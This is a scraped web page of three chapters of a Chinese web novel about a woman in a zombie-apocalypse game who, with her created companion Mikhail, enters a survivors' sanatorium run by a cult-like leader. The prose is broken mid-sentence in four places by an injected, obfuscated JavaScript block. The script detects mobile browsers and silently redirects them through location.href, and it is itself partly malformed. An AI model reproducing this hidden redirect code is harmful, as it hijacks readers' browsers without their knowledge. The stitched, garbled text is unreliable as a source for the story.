瞄了一眼PhantoChat上“装睡”这个词,她没有选择戳穿他。“脆弱后宿醉”嘛,她懂得。 PhantoChat的角色/界面已经更新了米哈伊尔的信息,从某种程度来说,这叫丰富了角色完整性,使角色更加立体。 但她的心情却比之前更复杂了。 米哈伊尔太像一个男主角了。 自己随便一猜的男主经典背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808173|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景故事,竟与他的人生经历高度重合。 她是一个普通人,真正意义上的平凡普通:出生在小康家庭,走着按部就班的路径,上学、考试、升学、上学……人生二十余年,唯一的“转折点”只有误入这场要命的末日游戏,日子并非一帆风顺,但也从未跌入过什么深渊,与“悲惨”二字毫不沾边。 若要在两者之间选择,她宁愿拥有这样平凡的人生,而非成为某个先苦后甜的主角。 更何况“悲惨的背景故事”,在真实的维度上毫无意义。 米哈伊尔的出现完全是因为她需要一个超人角色带自己在末日活下去,可一个身世平凡的人如何能成为超人呢?大概只有用“苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为”这套模板了。米哈伊尔的“背景故事”应运而生。 或许“过去”并不存在,但是痛苦是真实的。 白睨翻身,面对着米哈伊尔微微起伏的背。她没有再看PhantoChat的记录,不知道现在他睡着没有。 如果他知道了自身存在的真相,会怎么想呢? 如果他知道了这个世界是虚构,他也是虚构的,一切都源自于某天她随手写下的游戏设定,他该怎么办呢? 如果未来她离开了这个游戏,那些因“需要”而被创造的“现实”,会归于虚无吗? 她不敢细想。 也不敢让他知道。 · 时间流去好几天。 沃森尼克城堡在他们眼中从一开始的“战后遗物”逐渐演变为“天选之地”。 再破的房间也是房间啊,更何况这里有这么多房间!今天可以去四面通风的主卧体验皇帝生活,明天可以去封闭性好的地牢感受囚犯待遇,困了席地而睡,饿了就一起出去打野味。米哈伊尔甚至打算修缮一下这栋古堡,利用原有的防御基础和生活空间正式登基为土皇帝。 E区人天都要塌了。 白睨和米哈伊尔还在景区里发现了游客中心,虽然尚未装修完毕,但招待厅、厕所和员工工作室等区域已经初具雏形。他们在工作室里找到一个收音机,连上房车电源竟然能使用,但当时没有收到任何信号,频道里只有刺耳的杂音。 直到第五天,当时白睨正窝在房车后座,一边听米哈伊尔讲军旅生活,一边随意拨弄收音机旋钮。忽然,收音机里“嘶啦”一声炸响,一个模糊的声音从中传出: [……这里是惠特库姆疗养院……我们还在……请尽快回应……接收幸存者……有食物、热水、医疗人员。位置在……南……七点……] 广播重复了两遍,都不甚清晰。尔后只剩杂音了。 米哈伊尔坐回副驾驶,“这种幸存者基地人多手杂,听起来就不靠谱。” 白睨不置可否,在末日灾难片里,这种人群聚集的收容点通常只有两种结局:极少数能维持秩序与供给,撑到灾难结束;大多数则因内部某个疏漏而被丧尸攻破而沦陷。 但她有不得不去的理由。 这个末日游戏没有明晰的主线和系统发布的任务,所有的线索都需要她自己去找。她想,有一定的几率,他们能在这个惠特库姆疗养院里发现结束末日的关键,又或者像猎人小屋事件一样,获得有关丧尸的新信息。 这种时候,主角们可不能停在原地。 20.惠特库姆疗养院(一) 虽然白睨没从广播里听见惠特库姆疗养院的具体位置,但地图显示东边确实有一个名为惠特库姆(Whibe)的丘陵。他们花了一天的时间开车到山脚,发现山路狭窄陡峭,只能步行上山。 米哈伊尔用狼牙棒当登山杖,扫开前面挡路的枝叶,嘴里还在嘟嘟囔囔,“在这破山上建立据点还挺聪明的……腿脚不够利索的丧尸都爬不上来。” 昨夜下了一场雨,山路湿滑泥泞,水珠从高处的枝叶不断滴落。被打落的叶子揉在泥土里,白睨滑了一下,还好抓住了旁边的灌木丛,就是被抖了一身的沁凉的水。“我最讨厌的运动就是爬山。”叹一口气,她拍开外套上的水珠,抬起头眺望山顶上那白尖尖。 “现在下山还来得及。”米哈伊尔把她脑袋上的叶子捏下来。 “算了吧。”白睨望向身后,湿漉漉的山路上残留着两串脚印,泥点四溅,“都走到这了,下去和上去也没差了。” “那还是有很大区别的。”米哈伊尔哼哼,“如果上去后发现那避难所是骗人的,我们还得爬下来。” 晨光照进树林,薄雾闪着银白的光,像是有人用亮纱罩住整座山。偶尔有一声短促的啼叫从头顶传来,不见鸟雀身影,转瞬又归于沉寂。不知走了多久,一截木制路标歪斜地插在泥地里,手写字迹被雨水冲得模糊,只剩“W”和“treat”几个字眼告诉他们没有走错。 忽然,附近草丛传来一阵枝叶拨动声,像是有什么东西游走其中。 二人不约而同停下脚步,噤声俯身。白睨握紧手里的棒球棍,眼睛紧紧盯着传来声响的方向——越来越近。 一个身影突然跌出灌木丛,二人猛地站起身! “哦!” 白睨只觉眼前白光一闪,下一秒就被浇了个透心凉。 山路上,一头发花白的老人正倒坐在地上,吃痛地哼哼着,金属水桶在路面滚了半圈。 二人湿漉漉地僵定在原地。 · “所以你们是从城里出来的?”老人的背微微佝偻,但步履很稳,声音温和,“在附近听到广播来的?” 白睨点点头,悄悄拧了把衣角的水,“是的,我们从收音机里听到这里在接收幸存者。” 米哈伊尔提着两桶水跟在后面。刚才他们跟随老人重新去溪边打水,作为赔礼道歉,米哈伊尔自告奋勇帮忙提回去。 老人停下观望他的状态,神情关切,“我们是不是该停一会儿?你两桶水都打得这么满……呃,不会太重吧?” 摇头,米哈伊尔轻松地把一桶水举过肩,铁桶里的水晃了晃但一滴都没有洒出来,“不算什么,我都还没出汗。” 似乎是不好意思,老人好几次想把桶拿回来,都被他们制止了。 老人名为威廉·哈罗,原本住在惠特库姆丘附近的村子里,危机爆发后一路逃难到山顶,被巡逻人员发现后安置在疗养院。 在他口中,惠特库姆疗养院是一个设施完备、秩序井然的收留所,每位幸存者都有明确的分工,负责农田、医疗、厨房、维修等不同任务。他的职责是看管疗养院后方的小片田地,种植用于自给的土豆、豌豆和生菜。但因为生活淡水紧缺,他每天都得提着铁桶去一公里外的溪流打水。 米哈伊尔皱眉,“疗养院里幸存者很少吗?每次只让一个人出去打水?” “不是太费劲的活儿嘛,一个人足够了。”威廉神情坦然,语气就像在聊邻里琐事,“每个人都有自己要做的事,而且我腿脚还算利索,干这个正好。这边的不死者都是以前的散居山民,数量不多的。” 那三角的白顶抬得越来越高,从层叠的树影中带出白墙、方窗,最后终于露出一扇的漆黑的厚方门。疗养所外围着一圈胸口高的木篱笆,聊胜于无。 “疗养所很久没来人了,没想到外面还有幸存者啊。”威廉伸手掏进篱笆空隙,从里面把门锁解开了,“等会儿我带你们去见主任,只要检查确认没被污染,他们就会安排房间还有适合你们的工作。” 白睨和米哈伊尔对视一眼,没想到这个避难所还挺正规的。 他们刚穿过篱笆,就听“啪”的一声黑门大开,几个人气势汹汹地拿着棍棒铁锹冲出来。 “保尔?” “支援后院!”为首的光头男人冲着威廉大喝一声,带着队伍急匆匆地往后面跑,“不死者进来了!” 不是说附近丧尸很少的吗! 白睨暗自吐槽一句,把狼牙棒递给米哈伊尔,跟着威廉一起往后跑去。 如威廉所说,疗养院后方确实是一片田地,泥土的潮气和作物的青涩气息混合在一起,外面只围了一半的篱笆,像是材料不够了,其余部分用高矮不齐的木板插在地里。 一声声凄厉的惨叫划破空气,白睨循声望去,只见木栅栏旁乱作一团——一群丧尸纷纷挤或爬入木板空缺处,甚至推翻了几块板子,几名幸存者手持工具奋力抵挡。但仔细一看,木板下在爬的并不是丧尸,而是一人腿被卡住了,露在外面的腿被丧尸啃食得血肉模糊。他的惨叫声越发凄厉,两名同伴想要拖他出来,但一直被其他丧尸干扰。 其中一人惊慌失措地大喊,“我们拉不动他!他卡住了!” 支援的人已经上前,但这群人显然作战经验不足,有人高举铁锹却不敢下手,有人一通乱打却都没瞄准脑袋,站位混乱,叫声嘈杂。一只丧尸撞开木板,吼叫着扑向事物,一个女孩尖叫着挥舞菜刀却一刀没中,下一秒就被抓住手臂。丧尸像饿久了的野兽,张开腥臭的嘴就要咬下! 一棒球棍甩了上去,丧尸的脑袋猛地被击偏,发出“咔啦”的脆裂声。白睨一把拎起摔倒在地的女孩,把她推到后面,“闪开!” 两步冲到木板旁,她抬起左肩,一旋身,手中的棒球棍划出一道迅疾的弧线,敲碎了木板外丧尸的下巴!不顾其他人的惊呼,她抓住年轻人的手臂吭哧吭哧往后拖了一段,终于把他拖离虎口。但年轻人已经翻着白眼昏死过去,双腿裤管支离破碎浸满鲜血。 没救了。 这个念头浮现,白睨握紧棒球棍,有了一瞬犹豫。 米哈伊尔用狼牙棒砸碎丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818276|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸的头骨,五指如铁钳抓出,一把扭断另一只试图穿过栅栏的丧尸脖子,“白,把他带远点!” “我知道!”白睨心领神会,拖着昏迷的年轻人来到树下,左顾右盼,捡起一圈麻绳把他绑住。 “发生了什么!” 一道急切的声音从身后传来,白睨扭头,看见一名高挑的女人跑在另外几名幸存者前,看到年轻人的模样惊呼道:“瑞莱!你怎么样!” 其他幸存者看到这一幕,面色刷刷苍白,有的捂嘴干呕;一人伸手拉住女人,“主任,瑞莱恐怕坚持不住了……” 主任? 捕捉到这一关键词,白睨快速扫了她几眼。女人一头蜷曲的金发,穿着硬挺的白色制服上衣与长裤,原本白睨以为“主任”是避难所负责人的称谓,但看这身制服,女人应该原本是疗养院的工作人员。 来不及想更多,她提着棒球棍跑了。外面的丧尸并不算多,比起公寓时期她遇上的可以说是小巫见大巫,但不善打斗的人太多,真应了米哈伊尔说的“人多手杂”。一脚踹翻死死咬住光头男锅铲的丧尸,她手臂抡圆了,对着丧尸脑袋连捣三下,踢到一边,抛下哇哇大叫的光头男追上往里奔走的丧尸,从后一击抡倒。棒球棍上沾满黑色血液,她的衣领、头发也黏了不少烂肉碎骨。 几分钟后,米哈伊尔擦擦脸,单手把狼牙棒往下捅进丧尸嘴里,用力碾转半圈收手,算为这场战斗画上了句号。 后院一片狼藉,田地里、栅栏上倒着七零八落的丧尸,气喘吁吁的幸存者们瘫软在地,身上沾满泥土和血污。威廉缩在树下瑟瑟发抖,光头男大步过去,一把揪住他的衣领,吼道:“让你看管后院,你上哪儿去了!?” “我……我去打水浇……” “打水要那么久吗??” “干什么?”狼牙棒刷地挡在他们之间,每根獠牙上都沾着血迹。米哈伊尔冷冷看着男人,“放下。” “你又是从哪儿冒出来——” “别吵了!” 女人的声音如鹅卵石落入沸水,光头男一下噤声。几名幸存者纷纷推开一步,沉默地拥在她身后,面带愁容。 她走上前,眼角皱起细纹,但放缓了语气,“先把保尔安置好,再讨论其他事。”光头男憋得面红耳赤,几秒后松开了威廉的衣领,不忘狠狠瞪了米哈伊尔一眼,却是乖顺地站到主任后面了。 指挥其他人小心搬走树下的年轻人,主任转身面向他们,“我是塔菈萨,是惠特库姆疗养院目前的负责人。你们应该是听见广播过来的,对吧?” 白睨向前一步,“对,我们听说这里正在接受幸存者。” “是的,我们希望有更多人得到帮助。”塔菈萨微微颔首,俨然一位沉稳的机构管理者,“很抱歉刚才发生了突发状况,我还要去看看保尔的情况,会有其他人带你们做初步身体检查,随后我再带你们熟悉疗养院的环境。” 二人没有异议,目送她带人离开。刚才被白睨拽到后面的女孩小步上前,面色仍有几分苍白,小声开口道:“二位……请跟我来。” 21.惠特库姆疗养院(二) 他们被带到了不同的房间做检查,查看身上是否有可疑伤口。给白睨做检查的女孩名为“安”,虽然看起来很内向,但对白睨有问必答。 “我和威廉都是从外面进来的,有些人原本就在这里。”对“你们是什么时候来的”这个问题,安是这么回答的,“主任收留了我们,让我们在这里安心生活。” “我听威廉说这里的每个人都有工作?” “是的,我就负责医疗工作,如果生病或受伤了可以来这里找我。”安递给她外套,声如蚊呐,“但如果是被不死者抓伤,就需要去找主任了。” 白睨穿上外套,原本想问她那个同伴会怎么样,又觉不妥,便没问出口,“现在我们要在哪里等……塔菈萨主任吗?” “在外面的椅子上坐一会儿就好,主任应该快来了。” 在长凳上等了两分钟,米哈伊尔从另一个房间走出,过来挨着她坐下。又等了大概十来分钟,不远处传来沉稳的皮鞋声,塔菈萨换了一身常服出现在走廊上,金色刘海随着步伐晃动。 他们站起身,“您好,”白睨开口,“你们的同伴……” 塔菈萨俯首,闭上眼睛,“他已经去了神的身边。” “哦……” “这不是一件坏事,在这样的情况下。”塔菈萨摇了摇头,“也许他比我们都要幸运。” 白睨不置可否。那年轻人的惨叫还萦绕在她耳边,或许他不觉得自己比他们幸运。 塔菈萨带他们离开走廊,“我应该怎么称呼你们呢?” “叫我白就好。” “我姓索罗金。” 塔菈萨点点头,推开后厨的门,“好的,二位是一对吗?” 白睨在门槛绊了一跤差点扑在地上。 米哈伊尔被口水呛到。 “咳咳——不!当然不是!”二人异口同声道。 塔菈萨被他们的反应吓了一大跳,赶紧补了句:“抱歉,我明白了,是我误会了。” 白睨擦去手上蹭到的墙灰,低着头跟进厨房。两个人都没回应。 后厨里只有一个人,他们还算面熟。光头男人仅抬了下眼皮,手里的土豆被刀旋下一圈。 “这是保尔,我们的厨师。”塔菈萨介绍道,“他负责所有人的三餐,早餐在八点开始,午饭下午一点,晚饭七点。” 光头男从喉咙里发出一声闷哼,“每顿饭限一个小时,时间一到就收餐具。” “但要是有人因工作耽搁,我们一般会在厨房留餐。”塔菈萨立刻接过话,语气略带无奈,“你又不负责洗碗,保尔,没必要这么较真。” 光头男背过身去洗菜了。 他们大概是吃大锅饭。挺好的。 起码不用担心这个叫保尔的单独给他们下毒。白睨心想。 离开厨房后,塔菈萨依此给他们介绍其他区域,一楼都是公共区域,如餐厅、会议室、仓库、医务室等;二、三楼为各自的卧室和公共浴室,每天都有人在固定时间打扫。白睨粗略估计,疗养院里大概有不到二十人。 “我听他们叫您主任,您曾经在这里工作吗?” 塔菈萨微微一笑,点头回应,“是的,我曾在这里担任心理咨询主任,主要负责客户的心理评估与日常辅导,协助院长进行行为干预和团体活动。” “这里有院长?”疗养院当然有院长,但是一路走来,她没听对方有过任何介绍。 “是的,默克尔特院长。他是一位德高望重的人。” 最后的话音化为一声叹息,塔菈萨望向窗外渐暗的天色,眼底浮现一丝复杂情绪,“他已经不在了,在末日来临后……现在这里由我们共同管理。我们希望能传承他的意志,在危难时刻帮助人类重建生活。” 步下楼梯时,白睨注意到楼梯转角处悬挂着一幅巨大的肖像画。画中人物身着一袭白色长袍,衣襟和袖口干净得泛光。他眼神温和,嘴角含笑,眉眼间有种近乎父亲般的慈爱。整幅画覆盖着一层柔和的白色滤镜,背景是朦胧的山丘与阳光,仿佛为他披上治愈的光环。 白睨盯着这幅画多看了几秒,心底升起一丝怪异的不安,却又说不上来。 “这就是默克尔特院长。”塔菈萨的声音在身后响起,语气柔和却不容置疑,“他是个很好的人,我们都很怀念他。” 这时候,米哈伊尔突然插话:“如果我们留在这里的话,需要做什么?” 这是他进入疗养院后第一次主动发话。 塔菈萨略微思考,然后面向白睨,“您会做饭吗?” “会的。” “那么从明天开始,白去厨房担任副手,帮助保尔处理食材。索罗金先生加入巡逻队伍,负责日常安保任务。” 白睨眨眨眼,没想到二人会被分开工作,“我也会战斗。” “她和我一组。”米哈伊尔接道,带着明显的不悦与坚持。 塔菈萨挑眉,似乎对他的插话并不意外,“岗位安排是基于当前资源和实际需求。巡逻队固定为四人一组,后厨同样缺人手。因此你们在不同岗位,各自承担职责。”她语气平静,但眼神中透出一丝不容反驳的权威。 不等二人回应,她话锋一转,语气稍松,“当然,这只是初步的安排,未来根据实际情况可能会调整。我们尊重每位成员的能力,也希望你们能先适应这里的节奏。” 白睨看出没有回旋余地。他们初来乍到,不好与管理者起冲突,只能向米哈伊尔递了个眼神,“明白了。” · 晚上六点五十分,塔菈萨带着他们返回餐厅。踏进房门时,窗口上的电子显示屏显示正好七点。 十几个人正在窗口排队,光头男一反先前的冷淡态度,一边麻利地盛饭,一边与熟人们聊得热火朝天,餐厅里回荡着他嘎嘎嘎的粗犷笑声,兴致格外高涨。白睨还在队伍里看到了威廉,老人双手交叠在身前,似乎在专注地听其他人讲话。 “请便。”塔菈萨礼貌地颔首致意,“今天辛苦了,请好好享用晚餐。” 餐厅四壁刷着新漆,桌面是光滑的玻璃钢板,头顶的白炽灯照在瓷砖地面,光晕泠然。 白睨站在队伍末端,还奇怪怎么闻不到一点饭味,走到窗口跟前了,才看清铁桶里装的是土豆煮豌豆糊糊,舀一勺到盘子里配上两片生菜,就是一顿晚餐。 盯着自己盘子里那已经发凉的黄绿糊糊,她才意识到这是真正的末日饮食。 自己真是罪该万死,怎么能说他们要吃上大锅饭了呢?大锅饭可香多了。 好想吃大锅饭。 她面无表情地盯着显示屏上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822382|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的红色数字,机械地往嘴里送勺子,仿佛配合着数字才能把饭下到肚里。没有一点调料的原汁原味餐食,豆子像泡沫,土豆像泥巴,如果包在生菜里再吃呢? 口感是更丰富了。 旁边的米哈伊尔倒是吃得飞快,三两下就见了底,“明天巡逻的时候我怎么也得捉点野味。”他放下勺子,像无情的吃饭机器结束了战斗。 想着米哈伊尔的话,白睨望梅止渴,加快了战斗速度。 “晚饭还合胃口吗?”余光里出现一顶花白的头发。是威廉,他端着还剩大半的糊糊,“我能坐在这里吗?” “当然。”白睨挪动餐盘给他腾出位子,“晚饭还可以。是后院收获的食材吗?” 老人捏搓起指关节,老茧泛红,“土豆是仓库原先就有的,院子里种的还没长好呢。豌豆和生菜刚收获不久。” 白睨忽然意识到,田地里就种了土豆、豌豆和生菜,这岂不是意味着他们一直只吃这三样?吃了两个月?? 这可以轻易击溃她。 “……这点儿东西吧,也要每天起早拔草,一趟趟浇水,守在栅栏旁边,不能让野兽和不死者糟蹋了。”提起他的农田时,威廉的眼睛都亮了。 “听起来真不容易啊。”白睨搅拌着盘子里的糊糊,“山里没有其他作物了么,比如野菜和香草?我们或许可以找到些能吃的作物移植到田地里。” 威廉手里的勺子磕碰到瓷盘,脆音尖锐。他呆呆地望着白睨,胡子抖动。紧张地环顾四周,他把头凑到白睨耳边,压低声音,“这事情不妥,主任不会同意的。” “为何?” 威廉刚张嘴就闭上了。白睨感觉到空气忽然变得不对劲,餐厅里原本谈话的人们都安静下来,目光齐齐投向房间中央,显示屏下方站着的白色身影。 塔菈萨穿着一袭白色长袍,金色卷发如油画一般垂挂胸前,双手优雅交叠,颧骨在灯光下泛着石膏般的苍白。她的目光缓缓扫过每一个成员,最后落在白睨和米哈伊尔的面庞,薄唇含笑,温柔之音清晰响起: “感恩神在末日的荒芜中,为我们敞开庇护的羽翼。我们在他的庇佑下,才得以享用纯洁的食物,进入宁静的安眠。” 女人提高了声音,似有几分欣喜,“感谢将白与索罗金先生带到这片安宁之地。他们的到来,是神赐予我们的馈赠,是生命与希望的延续。” 白睨眼神乱飘,发现在场所有人,除了她和米哈伊尔,都微微颔首,闭目沉默。不得已,她也低下头去,余光却见到米哈伊尔好笑地冲她挑眉,略感不爽,抬手把他的脑袋按下去。 这留学生涯也算圆满了。 虽说以前校门口总有发传单的人,也听闻有些留学生会借机去教会蹭饭交友,但她对这些不感兴趣,从来敬而远之。 没想到今天误打误撞,直接打入内部了。 “感恩神教我们领会世界的真谛和生命的奇迹。愿神继续庇佑这片净土,愿白与索罗金先生能早日领会神的教诲,与我们并肩前行,真心诚意地追随神之旨意,见证人类新生。” “““真心诚意——””” 重叠整齐的回应,如从四面八方而来的呓语。 房间陷入真空般的寂静。 塔菈萨头顶的红色数字,停在8:01。 22.惠特库姆疗养院(三) 深夜,二楼某个房间,门锁“咔哒”一声转动。两个脑袋悄悄探进幽黑的走廊,随后蹑手蹑脚踏出房门。 高大的身影突然蹲下,凑在门边拨弄金属门锁。另一人往前迈了两步,才发现同伴没跟上来,转身胡乱抓着,摸到他头上,轻轻往后揪住。 搞什么? 男人往后捏住那只手,晃了晃。 等我一下。 白睨看不清他在做什么,只能松开手静静等待。大概过了半分钟,她看见那道身影站起来,似乎把什么东西揣进口袋。她的肩膀被拍了拍。 走吧。 · 五个小时前。 “只要一个房间?” 塔菈萨面露疑惑,“但不是说你们不是一对吗?” “对对,我们确实不是‘稳定关系’(couple)。”白睨脸上挂着甜蜜而不失尴尬的微笑,悄悄靠到男人手臂上。 “对,我们在‘了解阶段’(dating)。”米哈伊尔顺势搂住她的肩膀,带着虚情假意的绅士感。 女人的目光在他们身上转个来回,最后像是相信了这个说辞,“明白了,那我就给你们安排二楼的双人房吧。” “麻烦您了。” 一切安排妥当,塔菈萨道过晚安,带上房门,这方空间终于安静。 他们像勾肩搭背的稻草人静静伫立十余秒,不知是谁手指一动,二人忽似触电般地各自抽身,转向不同方向。 房间太小了。仅仅几步,白睨的脚尖已抵在墙边。 房间的布置简约至极,两张白床并列一排,衣柜隔在中间,桌椅靠着角落,除此以外没有其他家具。窗外黑沉沉的,细木窗栏如笔挺方正的网,严实地包裹着连通外界的出口。 “行——”米哈伊尔往床铺上一坐,“接下来怎么办,真的要留在这里吗?说实话,这儿给我的感觉还不如待在房车里。” 白睨面向窗户,与玻璃里的自己面面相觑,“再留一天,不对的话明晚就撤。” 她对威廉那句“主任不会同意的”耿耿于怀,但祷告结束后威廉跟随人群离开,没有给她追问的机会。 塔拉萨说的那句他们是神的馈赠也让她心里发毛。虽然她不曾去过教会,但以她浅显的宗/教认知,那场祷告不像是主流宗/教的流程。 如果明天仍找不到任何有价值的线索,他们就得尽早离开,和Cult扯上关系不是好事。棘手的是,明天两人会被分配到不同岗位,白天行动不方便也不安全。 因此,最好的时机只有今夜,出去一趟并摸清状况,看看能不能找到推进剧情的线索,也为明天的撤离做好准备。 把自己的想法告诉米哈伊尔,他点头同意,“那今晚十二点行动。” 距离晚上十二点还有五个小时,白睨定好手机闹钟,准备小睡一会儿,脱鞋爬床,膝盖“砰”一声跪在床沿。 “啊!”抱住膝盖,她的神情微微扭曲。这床板怎么这么硬!这儿真的是疗养院不是清修院吗? 白睨揉着膝盖躺上去,垫子很薄,床板硌着骨头,她能感受到木板间的缝隙。像是瞬间回到了古堡之夜,睡在这儿和睡石板几乎没差。 灯光太亮,她索性伸手全部关掉,只剩窗外透进来的微弱光线,栅栏把天花板切成几块暗影,仿佛随着夜色慢慢扩张。 八点祷告之后,疗养院像被按下了某个开关,沉入死一般的寂静。门外没经过一声脚步,薄墙后也没传出任何动静。偶有几声林鸮的啼鸣在窗栏外响起,似乎离得很近,但不见踪影。 他们是被手机的震动吵醒的。白睨迷迷糊糊睁开眼,米哈伊尔已经一把按掉闹钟。疗养院依然安静,似乎仍沉浸在祷告时刻。 两人默契地爬起床——该行动了。 门把缓缓转开,两颗脑袋一前一后探出门外,确认走廊上没人巡逻。米哈伊尔不知在门上鼓捣了什么,随后他们贴着墙壁,朝着通往一层的楼梯走去。 不管怎么放轻脚步,鞋底与台阶之间仍会蹭出细微的摩擦声,在漆黑狭窄的楼梯间里回旋。一共有两道脚步声,白睨不由自主地像掐表一样默记着,她的,他的,她的,他的…… 最后一步落在平地上,她长长松了一口气。 一楼的结构比二楼复杂,每个公共房间的门都紧紧关闭,难以辨认特征。白睨拉着米哈伊尔在走廊里摸索前行,直到那道挂着巨大肖像的主楼梯再次映入眼帘。白日里被柔光笼罩的画像此刻黯淡无光,圣洁滤镜被夜色剥离,只剩一个蒙着黑雾的面部轮廓悬在空中。 她感觉自己的手攥紧了,分不清是自己发力的,还是米哈伊尔发力的,只想着快点离开此处。 凭着画像这个记忆点,她想起这条走廊通向餐厅,大门就在餐厅旁边。她想先去查看大门是否锁上,便拉下他的身子凑到耳边,压低声音:“去看看门锁了没有。” 米哈伊尔点点头,头发撩到她鼻子上,痒痒的。她赶紧松开手,往前面走去。 很快,餐厅独有的拱形门洞出现在前方,意味着他们离出口大门不远了。白睨刚想告诉米哈伊尔,一回头,却发现身后空空荡荡。 “米……” 一个音不自觉飘出口,她赶紧闭上嘴。 她像站在漆黑的隧道中央,每挪动一步,耳边便响起自己鞋底的摩擦声。一时间进退两难,她站定了,盯着走廊那边,隐约看见一个身影站在那儿。 突然,那身影朝她冲来。 白睨差点尖叫出声,扭头就跑,却听那摩擦声下一秒就出现在背后,一只手猛地捂住她的嘴,在她挣扎前拽开旁边储物间的门,将她拖到里面。 发现自己受制于人,她几乎是条件反射地握拳轮过去,一声闷哼从头顶传来,接着禁锢她的手臂收得更紧了。 “安静。”是米哈伊尔的声音,夹着一丝咬牙切齿。 白睨僵住了。 刚才被吓得没仔细观察,原来是米哈伊尔。 那搞得一惊一乍的干嘛呢? 她没办法发问,因为米哈伊尔还捂着她的嘴。狭小的空间里放着不少东西,挤进两个人更加拥挤了。她的呼吸声,米哈伊尔的呼吸声,就在她耳侧轻轻摩挲。 还有一道很轻的摩擦声。 白睨愣住,侧头细听,发现那声音来自门外,像是有人在走廊上走动。 门缝一白,冷光像无珠的巨眼从缝隙里扫过。白睨心脏砰砰直跳,盯着那道白光随脚步声一寸寸移远。 直至那动静完全消失,扣在她脸上的手才慢慢松开。 白睨压着嗓音,几乎只剩气息:“刚才到底怎么了?” “后面有动静,我停下来听。”米哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827481|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊尔的声音很低,有些嘶哑,“没看清是谁,他应该没发现我们。” 除了他们,还有人会半夜在走廊里走动?巡逻吗?她不记得白天塔菈萨说过有夜间巡逻这个岗位。 “我们现在要出去吗?” “等等,”白睨扒着门缝,“再等等。再观察一会儿。” 她怕他们一出门就和拐回来的那人迎面撞上。米哈伊尔“嗯”了一声,算是附和。 两人没再说话,被狭窄的黑暗包裹着。 白睨能感觉到米哈伊尔的手离开后还残留着一丝温度,又或许是他们靠得太近,热量隔空入侵了她的皮肤。空间太小,他们只能紧挨着肩臂紧,其中一个略微一动,反而容易靠近另一人的呼吸。 米哈伊尔似乎察觉到她的紧绷,轻轻后退了一点点,也只能让两人的距离从贴紧变成“勉强分开”的程度。 “米哈伊尔,”白睨深呼吸,“你能转过身去吗?” “……嗯。” 一阵窸窸窣窣声后,她往黑暗中一摸,确认了面前的是他的背。 这才松一口气,白睨拿出手机贴在他身后,调成夜间模式。打开PhantoChat,点击空白头像,输入:塔菈萨。 页面一跳,直接进入个人剧情记录。 [*塔菈萨跪倒在地。*] 开头就是这么一段莫名其妙的文字。白睨皱着眉头刷新了好几遍,先前的内容却始终加载不出来。更诡异的是,之后的文本一直没有更新,意味着她的状态没有任何变化。 看不到有效信息,白睨索性切出去,点头像想换成其他角色,比如保尔。界面却弹出信息: [请在24H后更换角色。] Fine. 白睨冷漠地切回塔菈萨的剧情,下拉刷新。还在跪着。 “白,”米哈伊尔的声音从前方闷闷响起,“你在后面做什么?” 白睨手指顿住,意识到自己正在一个人背后搞小动作,不由地有点心虚。 “没什么,反正也没事做,随便玩会儿手机。” “……现在这种情况玩手机吗?” “不然呢,和你大眼瞪小眼吗?” 米哈伊尔轻轻哼了一声,不知是无语还是不满,语气里带着几分怀疑,“现在都没有信号,手机有什么可玩的。” 他话音一顿,抱怨似的道: “你有什么瞒着我的事吗?” 白睨手一抖,手机差点脱落。刚想反驳,就见PhantoChat剧情界面跳出一行文字: [“……真心诚意。”*塔菈萨抬起头,看着面前那‘人’,目光炙热而充满敬意。*] 什么人? 米哈伊尔好像说了什么,但没入白睨的耳朵。 “……嘘。”她下意识贴住米哈伊尔的背,拇指悬在屏幕上方,“等一下。” [*凝固的蜡油在桌面铺成一层层不规则的壳。烛火轻轻抖动,把笼中匍匐的影子拉扯得很长,很长。*] [*笼中物目光浑浊而空洞,脸上暗青的脉络如枯藤般蔓延。它捞起盘中的红肉塞进口中,粘稠的黑液顺着嘴角,点点滴落在地。*] 